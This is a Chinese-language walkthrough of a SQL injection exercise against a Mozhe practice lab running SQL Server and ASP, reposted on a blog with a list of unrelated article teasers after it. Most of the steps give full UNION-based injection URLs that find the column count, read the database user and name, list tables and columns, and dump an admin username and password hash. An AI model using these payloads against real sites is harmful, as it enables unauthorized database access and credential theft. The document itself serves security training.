1、sql server数据库进行sql注入

靶机取自:墨者sql server
1、判断数据库类型

抓包知sql server,所以注入语句跟MySQL有些区别

2、判断注入点

“http://219.153.49.228:42514/new_list.asp?id=2 ”,当id=2 and 1=1时显示正确,id=2 and 1=2时页面报错。

3、确定列数为 4
  • /new_list.asp?id=2 ORDER BY 1 成功
  • /new_list.asp?id=2 ORDER BY 2 成功
  • /new_list.asp?id=2 ORDER BY 3 失败
  • /new_list.asp?id=2 ORDER BY 4 成功
  • /new_list.asp?id=2 ORDER BY 5 失败
  • /new_list.asp?id=2 ORDER BY 6 失败
  • /new_list.asp?id=2 ORDER BY 7 失败

根据这些信息,ORDER BY 4 成功,而 ORDER BY 3 失败,这看起来很矛盾,因为一般来说,如果 ORDER BY 3 失败,ORDER BY 4 应该也会失败。

分析原因:

  1. SQL查询结构: 可能你查询的SQL语句涉及了多个表连接或者子查询,这会导致某些列存在而其他列不存在的情况。

  2. 自定义排序: 数据库的查询中可能存在自定义排序逻辑,某些列可能只在特定条件下可用。

***所以sql测试中,我们需要进行更多测试以确认列数

4、判断回显字段

这其实还要分两种情况:

1、回显的字段是字符型,还是整数型或其他

  1. 数据类型匹配

    • 数据库表中的列有特定的数据类型(如整数、字符串、日期等)。当注入的值与列的数据类型不匹配时,会导致SQL语法错误或类型错误。
    • 例如,如果某列期望一个字符串类型的数据,而你传入一个整数,数据库可能会报错。
  2. SQL查询构造

    • SQL注入构造的查询语句需要与数据库表的结构和列类型匹配。
    • 使用单引号包裹的值通常被解释为字符串类型,而不使用引号的值通常被解释为数字或列名。

2、注入成功是要在页面正常显示情况下回显字段,还是页面报错情况下才会回显字段

  • 正常页面:当提供的 id 值有效时,原始查询会返回一个正常的结果集,页面会显示该结果。如果 UNION ALL SELECT 注入成功,并且注入的列恰好在显示内容中,那么注入的结果可能会被id值结果覆盖。
  • 错误页面:当提供的 id 值无效时,原始查询失败,页面可能显示错误信息或没有结果。在这种情况下,注入的 UNION ALL SELECT 可能成为唯一的结果集,因此被显示出来。

思路

①先假设为全部字段为字符型,payload:http://219.153.49.228:46552/new_list.asp?id=2 union all select '1', '2', '3', '4' 。发现并没有回显

②id=-2时,页面报错,所以payload:http://219.153.49.228:46552/new_list.asp?id=-2 union all select '1', '2', '3', '4'。回显2、3字段

到这已经可以判断出2、3字段是字符型,并且页面有报错信息时才有回显,否则被内容覆盖

然后判断1、4字段类型,需要一个一个去除单引号,判断其回显情况

5、获取数据库信息

http://219.153.49.228:43696/new_list.asp?id=-2 union all select 1,user,db_name(),4

6、获取数据表名manage

http://219.153.49.228:43696/new_list.asp?id=-2 union all select 1,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='U'),'3',4

7、获取列名:id、name

http://219.153.49.228:43696/new_list.asp?id=-2 union all select 1,(select top 1 col_name(object_id('manage'),1) from sysobjects),(select top 1 col_name(object_id('manage'),2) from sysobjects),4

以此类推,获取第3个字段,第4个字段

8、查出用户名和密码

用户名:admin_mz、加密密码:72e1bfc3f01b7583

http://219.153.49.228:43696/new_list.asp?id=-2 union all select 1,(select username from manage),(select password from manage),4

9、md5解密

9、总结

1、判断数据类型是很重要的一点,影响后面的注入语句

2、确定列数时,要多测几组数据,从而分析判断列数,并不是遇到第一个报错就停止测试

3、正常网页(例如id=1,参数正确)没有注入回显时,试试报错情况(id=-1),注入回显有可能被正常返回数据覆盖

4、注入回显的字段有可能整形、字符、小数等,注意是否需要单引号

5、最好先全部统一会先字段类型,比如全部整形,挨个轮流改变为字符形

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/pingmian/13061.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

深度学习设计模式之抽象工厂模式

文章目录 前言一、介绍二、详细分析1.核心组成2.实现步骤3.代码示例4.优缺点优点缺点 5.使用场景 总结 前言 本文主要学习抽象工厂模式,抽象工厂模式创建的是对象家族,比如:苹果是一个产品,但是他不单单只生产手机,还…

回溯算法-组合问题-力扣第77题

什么是组合问题—— 举例: 有一个集合:{1,2,3,4} 现在要找出这个集合里面所有组合大小(组合长度,组合里面数据的个数)为2的组合 那么就有:总共6种组合 {1,2},{1,3},{1,4} {2,3}…

ubuntu在conda环境中使用 pip install -r requirements.txt但是没有安装在虚拟环境中

whereis pip pip listubuntu在conda环境中使用pip install lpips0.1.3 但是安装在了这里 Requirement already satisfied: lpips0.1.3 in /home/uriky/anaconda3/lib/python3.11/site-packages (0.1.3) 就会出现黄色波浪,未在虚拟环境中安装包 解决办法1&#xff1…

汇聚荣科技:如何有效为拼多多店铺引流?

在电商竞争激烈的今天,为拼多多店铺引流是每个店主必须面对的挑战。有效的引流策略不仅能增加店铺曝光度,还能提升转化率,促进销量增长。 一、社交媒体营销 利用微信、微博等社交平台进行推广,可以通过发布产品信息、用户评价和促…

GAME101-Lecture07学习

前言 今天主要讲shading(着色)。在讲着色前,要先讲图形中三角形出现遮挡问题的方法(深度缓存或缓冲)。 先采样再模糊错误:对信号的频谱进行翻译(在这期间会有频谱的混叠)&#xff…

Windows安装Django

1、下载Python程序包 Python程序包官网下载地址Download Python | Python.org,若下载最新版本,有最新版本则下载"Windows installer (64-bit)" 若是下载其他版本,可在下图位置找到相应的版本,然后点击Download.如下图所示: 打开后查看注意事项…

单位个人怎样向报社的报纸投稿?

作为一名单位的信息宣传员,我肩负着每月定期在媒体上投稿发表文章的重任。然而,在投稿的道路上,我经历了不少波折和挫折。 一开始,我天真地以为只要将稿件发送到报社的投稿邮箱,就能轻松完成任务。然而,现实却远比我想象的复杂。邮箱投稿的竞争异常激烈,编辑们会在众多稿件中挑…

XMind 头脑风暴/思维导图软件_V24.04.10291 PC高级版

一款风靡全球的头脑风暴和思维导图软件,为激发灵感和创意而生。在国内使用广泛,拥有强大的功能,包括思维管理,商务演示,与办公软件协同工作等功能。XMind中文版采用全球先进的Eclipse RCP软件架构,是集思维…

Qwen 开源标杆

Qwen的博客 在线体验Qwen开源版本、非常丝滑 不算量化、已经开源的Qwen1.5 版本有9个: 0.5B、1.8B、4B、7B、14B、32B、72B、110B、MoE-A2.7B 闭源已经发展到 Qwen-Max-0428、网页端从2.1升级到2.5 Qwen API详情 一些记录: 1、Qwen1.5 110B&#x…

我的dcd爬虫-Python

我自己写的dcd爬虫,这个网站比较简单。看了看别人的程序,觉得用起来挺别扭,就自己捣鼓了一天。弄出来了。 这个网站没有反爬,有一些是动态网页,有一些是静态。 首先,获取销量排行榜前300的车型。 import…

快速上手并行执行——《OceanBase 并行执行》 系列 7

并行执确实是一个涵盖多个层面的复杂主题,它需要投入一定的时间和精力来深入理解,才能充分掌握其功能。为了帮助初学者更快地掌握并行执行的技巧,我们提供了这份Quick Start,它适用于 OceanBase 3.1版本及以上的版本。虽然这里所…

浅谈内存泄漏

内存泄漏 概念 在JavaScript中,内存泄漏是指应用程序在不再需要使用某块内存时仍然保持对其的引用,导致内存不能被垃圾回收机制释放,最终导致内存占用过高,性能下降。 内存泄漏通常发生在以下情况: 全局变量&#…

macos安装mysql一直卡在安装成功那个页面选项的解决办法

问题描述: 我安装的是比较新的版本8.0.37,安装过程中一直卡在安装那个选项上,且页面提示安装成功了,但就是死活不往下面的配置选项那一步走。 解决办法: 1.首先清理掉之前的mysql sudo rm -rf /usr/local/mysql2.然…

win11快速安装mysql数据库系统

win11快速安装mysql数据库系统 1、下载 1.1 打开官网 1.2 向下滚动页面 1.3 进入下载选项 1.4 下载8.0.4 LTS 1.5 开始下载 1.6 下载中 2、解压 大家注意,此时解压后目录是没有data目录的。 3、数据库初始化 3.1 管理员身份打开CMD 开始菜单上,输入…

代码随想录算法训练营第三十一天|455.分发饼干,376. 摆动序列,53. 最大子序和

455.分发饼干 优先把小饼干分给胃口值小的&#xff0c;或者是把大饼干分给胃口大的。 376. 摆动序列 class Solution { public:int wiggleMaxLength(vector<int>& nums) {if (nums.size() < 1) return nums.size();int curDiff 0; // 当前一对差值int preDiff …

详解绝对路径和相对路径的区别

绝对路径和相对路径是用于描述文件或目录在文件系统中位置的两种不同方式。 绝对路径&#xff08;Absolute Path&#xff09;是从文件系统的根目录开始的完整路径&#xff0c;可以唯一地确定一个文件或目录的位置。在不同的操作系统中&#xff0c;根目录的表示方式可能略有不同…

SpringSecurity安全过滤器工作原理

前面通过三篇文章&#xff0c;从底层代码的角度分析了SpringSecurity的初始化过程。 接下来我们就要具体看一下&#xff0c;Spring Security的安全过滤器初始化、装配好之后&#xff0c;到底是怎么工作的。 还是按图索骥 下面我们简单从底层源码分析一下&#xff0c;请求是怎…

基于SpringBoot设计模式之创建型设计模式·工厂方法模式

文章目录 介绍开始架构图样例一定义工厂定义具体工厂&#xff08;上衣、下装&#xff09;定义产品定义具体生产产品&#xff08;上衣、下装&#xff09; 测试样例 总结优点缺点与抽象工厂不同点 介绍 在 Factory Method模式中&#xff0c;父类决定实例的生成方式&#xff0c;但…

图像/视频恢复和增强CodeFormer

github&#xff1a;https://github.com/sczhou/CodeFormer 尝试增强旧照片/修复人工智能艺术 面部修复 面部色彩增强和恢复 脸部修复

Python 机器学习 基础 之 监督学习 [ 核支持向量机 SVM ] 算法 的简单说明

Python 机器学习 基础 之 监督学习 [ 核支持向量机 SVM ] 算法 的简单说明 目录 Python 机器学习 基础 之 监督学习 [ 核支持向量机 SVM ] 算法 的简单说明 一、简单介绍 二、监督学习 算法 说明前的 数据集 说明 三、监督学习 之 核支持向量机 1、线性模型与非线性特征 …